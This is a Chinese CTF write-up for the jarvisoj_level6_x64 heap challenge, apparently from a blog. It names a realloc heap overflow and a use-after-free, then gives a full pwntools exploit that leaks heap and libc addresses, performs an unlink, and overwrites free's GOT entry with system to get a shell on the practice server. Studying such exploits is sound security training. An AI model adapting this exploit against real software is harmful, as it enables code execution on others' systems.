jarvisoj_level6_x64

只能申请unsorted bin大小下的unlink

IDA看一下,可以发现edit里面有任意堆溢出的情况(realloc造成堆溢出)

然后free里面有UAF漏洞

然后几个注意的点,unlink直接可以模板化

1,泄漏地址 包括libc或者存放heap pointer的地址

2,unlink,伪造谁用谁的指针来unlink

3,修改heap为got指针也可以泄漏libc

exp

  1 #coding:utf-8
2 '''
3 author: lemon
4 time:
5 libc:
6 python version:
7 '''
8
9 from pwn import *
10 from LibcSearcher import *
11
12 local = 0
13
14 binary = "./freenote_x64"
15
16 if local == 1:
17 p = process(binary)
18 else:
19 p = remote("node3.buuoj.cn",29231)
20
21 def dbg():
22 context.log_level = 'debug'
23
24 context.terminal = ['tmux','splitw','-h']
25
26 def add(size,content):
27 p.sendlineafter('Your choice:','2')
28 p.sendlineafter('Length of new note: ',str(size))
29 p.sendafter('Enter your note:',content)
30
31 def free(index):
32 p.sendlineafter('Your choice: ','4')
33 p.sendlineafter('Note number: ',str(index))
34
35 def show():
36 p.sendlineafter('Your choice: ','1')
37
38 def edit(index,size,content):
39 p.sendlineafter('Your choice: ','3')
40 p.sendlineafter('Note number: ',str(index))
41 p.sendlineafter('Length of note: ',str(size))
42 p.sendafter('Enter your note: ',content)
43
44 add(0x80,0x80 * 'a') # chunk 0
45 add(0x80,0x80 * 'a') # chunk 1
46 add(0x80,0x80 * 'a') # chunk 2
47 add(0x80,0x80 * 'a') # chunk 3
48 add(0x80,0x80 * 'a') # chunk 4
49
50 edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
51
52 #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
53
54 print "unlink前先泄漏出堆的基地址"
55
56 free(3)
57 free(1)
58
59 payload = 0x90 * 'a'
60 edit(0,len(payload),payload)
61 show()
62 p.recvuntil(0x90 * 'a')
63 #heap = u64(p.recv(6) + '\x00\x00')
64 heap_0 = u64(p.recvuntil('\x0a',drop = True) + '\x00\x00\x00\x00') - 0x19a0
65 print "[*] heap:",hex(heap_0)
66 heap_4 = heap_0 + 0x1a40
67
68
69 print "unlink"
70
71 fd = heap_0 - 0x18
72 bk = heap_0 - 0x10
73
74 payload = p64(0) + p64(0x80)
75 payload += p64(fd) + p64(bk)
76 payload = payload.ljust(0x80,'\x00')
77 payload += p64(0x80) + p64(0x90)
78 edit(0,len(payload),payload)
79
80 free(1)
81
82 print "leak libc"
83
84 elf = ELF('./freenote_x64')
85 free_got = elf.got['free']
86 print "[*] free:",hex(free_got)
87
88 payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
89 payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
90 payload = payload.ljust(0x90,'\x00')
91 edit(0,len(payload),payload)
92 show()
93 free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
94
95 # libc_base = free - libc.sym['free']
96 # system = libc_base + libc.sym['system']
97
98 libc = LibcSearcher('free',free)
99 libc_base = free - libc.dump('free')
100 system = libc_base + libc.dump('system')
101
102 payload = p64(system)
103 edit(0,len(payload),payload)
104
105 #gdb.attach(p)
106 p.interactive()

buuctf-pwn:jarvisoj_level6_x64的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  10. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. WEB 应用缓存解析以及使用 Redis 实现分布式缓存

    什么是缓存? 缓存就是数据交换的缓冲区,用于临时存储数据(使用频繁的数据).当用户请求数据时,首先在缓存中寻找,如果找到了则直接返回.如果找不到,则去数据库中查找.缓存的本质就是用空间换时间,牺牲数据 ...

  2. 实战Docker容器调度

    目录 一.前言 二.Docker Compose 2.1.简介 2.2.下载安装 2.3.小实验 2.4.小实验的细节 2.5.Compose file的编写规则 三.Docker Swarm 3.1 ...

  3. java 单例模式的几种写法

    一.懒汉式 public class Singleton{ private static Singleton instance = null; private Singleton(){} public ...

  4. Docker 容器化部署 Python 应用

    Docker 是一个开源项目,为开发人员和系统管理员提供了一个开放平台,可以将应用程序构建.打包为一个轻量级容器,并在任何地方运行.Docker 会在软件容器中自动部署应用程序. 在本篇中,我将介绍如 ...

  5. 一文了解Zookeeper

    Zookeeper是Apache开源的一个分布式框架,它主要为分布式应用提供协调服务. Zookeeper主要负责存储和管理大家都关心的数据,一旦这些数据的状态发生变化,Zookeeper就会通知那些 ...

  6. Mac 系统下如何显示和隐藏文件

    苹果Mac OS X操作系统下,隐藏文件是否显示有很多种设置方法,最简单的要算在Mac终端输入命令.显示/隐藏Mac隐藏文件命令如下(注意其中的空格并且区分大小写): 第一种方式: 显示Mac隐藏文件 ...

  7. 提效工具-python解析xmind文件及xmind用例统计

    现状 每个公司都有一个维护测试case的系统,有自研的也有买的,比如QC, 禅道等等,QA往往习惯使用xmind等思维导图工具来编写测试用例,因为思路清晰,编写方便,那么这就有一个问题,大多公司要求所 ...

  8. 程序员的开源月刊:HelloGitHub(第 54 期)

    兴趣是最好的老师,HelloGitHub 就是帮你找到兴趣! 简介 分享 GitHub 上有趣.入门级的开源项目. 这是一个面向编程新手.热爱编程.对开源社区感兴趣 人群的月刊,月刊的内容包括:各种编 ...

  9. centos7中nfs共享的配置方法

    NFS是Network File System的缩写,即网络文件系统.客户端通过挂载的方式将NFS服务器端共享的数据目录挂载到本地目录下. 一.nfs为什么需要RPC? 因为NFS支持的功能很多,不同 ...

  10. Talk is cheap. Show me the code的由来

    Date: Fri, 25 Aug 2000 11:09:12 -0700 (PDT) From:Linus Torvalds Subject Re: SCO: "thread creati ...